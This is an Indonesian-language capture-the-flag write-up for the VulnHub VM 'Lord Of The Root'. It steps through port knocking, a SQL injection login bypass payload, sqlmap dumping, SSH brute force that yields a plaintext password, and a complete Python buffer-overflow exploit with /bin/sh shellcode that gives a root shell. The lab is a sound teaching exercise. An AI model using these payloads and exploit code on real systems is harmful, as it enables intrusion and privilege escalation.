Lord Of The Root Write up

Description

Lord Of The Root adalah VM yang saya dapatkan dari situs vulnhub.com, yang dimana goal nya adalah dengan mendapatkan root access sehingga bisa membaca flag yang berada di /root/Flag.txt

Proof Of Concept

1. Nmap Scanning

Saya hanya melakukan scanning port biasa menggunakan nmap agar mendapakat hasil dengan cepat dan setelah itu dapat dilakukan enumerasi specific port web-content

Hanya terdapat port 22 (SSH) yang open, ketika SSH diakses terdapat banner “LOTR Knock Friend To Enter Easy as 1,2,3” web-content

Saya menduga pesan dari “Knock Friend To Enter” merupakan hint untuk Port Knocking dan angka 1,2,3 adalah Sequence Port untuk membuka port yang dilindungi

2. Port Knocking

Untuk melakukan Port Knocking dapat menggunakan knock - port-knock client

 ~  knock 192.168.56.101 1 2 3 -v                                             
hitting tcp 192.168.56.101:1
hitting tcp 192.168.56.101:2
hitting tcp 192.168.56.101:3

Setelah melakukan Port Knocking dan discan lagi menggunakan nmap terlihat bahwa ada port 1337 yang terbuka web-content

Enumerasi lebih lanjut terhadap port 1337 ternyata port tersebut menjalankan service Apache2 Web Server web-content

3. Web Application Attack - Sql Injection

Saat mengakses web hanya terdapat gambar trolling dan pada file robots.txt juga terdapat gambar, tapi saat di Inspect Element ada Base64 encode string

<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

Lakukan decode string base64 tersebut

echo "THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh" | base64 -d       
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
echo "Lzk3ODM0NTIxMC9pbmRleC5waHA=" | base64 -d                           
/978345210/index.php

Path /978345210/index.php akan mengantarkan kita pada form login, login menggunakan payload ' or 1=1 limit 1 -- --+ berhasil dan menandakan form login tersebut Vulnerable terhadap serangan Post Sql Injection

[+] Sqlmap In Action

sqlmap -u http://192.168.56.101:1337//978345210/index.php --data "username=admin&password=passwd&submit=Login" --level 5 --risk 3 --current-db

Inject menggunakan sqlmap didapatkan webapp adalah database yang digunakan oleh web web-content Dalam tabel Users didapatkan Username dan password dari berbagai account untuk login ke web web-content Tapi dalam web tersebut tidak ada yang menarik yang bisa dimanfaatkan untuk mendapatkan access ke System web-content

4. SSH Brute Force

Karena tidak ada service atau application lain selain SSH dan Web Server, saya memutuskan untuk melakukan Brute Force pada SSH menggunakan Credential yang didapatkan dari SQL Injection. web-content Hasil Brute Force didapatkan user smeagol dengan password MyPreciousR00t Success login.

5. Privilege Escalation

Menurut deskrisi dari Author Vm Lord Of The Root, terdapat 2 cara untuk melakukan privlege Escalation Tapi sebenarnya ada 3 cara untuk mendapatkan access root pada VM ini, yaitu : Buffer overflow exploit, local exploit dan Mysql UDF

Buffer Overflow Exploit

Binary yang Vulnerable terhadap buffer overflow saya temukan dengan menggunakan command find web-content ASLR dalam system ini dalam keadaan ON.

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space
2

Sehingga pembuatan exploitnya agak sulit,oleh karena itu kita dapat mem bruteforce dengan Stack Address yang valid dari hasil fuzzing menggunakan gdb. Saya tidak akan membahas detail masalah Buffer Overflow, tapi berikut adalah video bagaimana cara saya membuat payload untuk mengexploit.

{ % youtube SNduJAV3KAY %}

Dalam percobaan menggunakan gdb Stack Address nya tidak berubah sehingga payloadnya berjalan dengan lancar.

Berikut hasil akhir exploit yang saya buat

import subprocess
import struct
import os

def p(addr):
	return struct.pack("<I", addr)
def getvuln_binary():
        binary_path = ["/SECRET/door1/file","/SECRET/door2/file","/SECRET/door3/file"]
        vuln = [ x for x in binary_path if os.path.getsize(x) == 5150]
        return vuln[0]
def exploit():
	while 1:
		stack = p(0xbffbecd0)
		#http://shell-storm.org/shellcode/files/shellcode-811.php
		shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
		payload = "\x90" * 171 + stack + "\x90" * 20048 + shellcode
		os.system(getvuln_binary() + " " + payload)

if __name__ == '__main__':
	exploit()

Binary yang vulnerable buffer overflow akan berada acak dalam directory /SECRET/door1 atau /SECRET/door2 atau /SECRET/door3, Sehingga fungsi getvuln_binary digunakan untuk mencari binary yang vulnerable buffer overflow dan ukuran binnary yang vulnerable adalah 5150 bytes.

Running exploit.py

Beberapa saat dijalankan didapatkan Shell dengan euid=root web-content

Local Exploit

Locaroot untuk kernel 3.19.0-25-generic bisa didapatkan di Exploit-DB web-content

Final : Get The Flag

Flag berada pada /root/Flag.txt

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf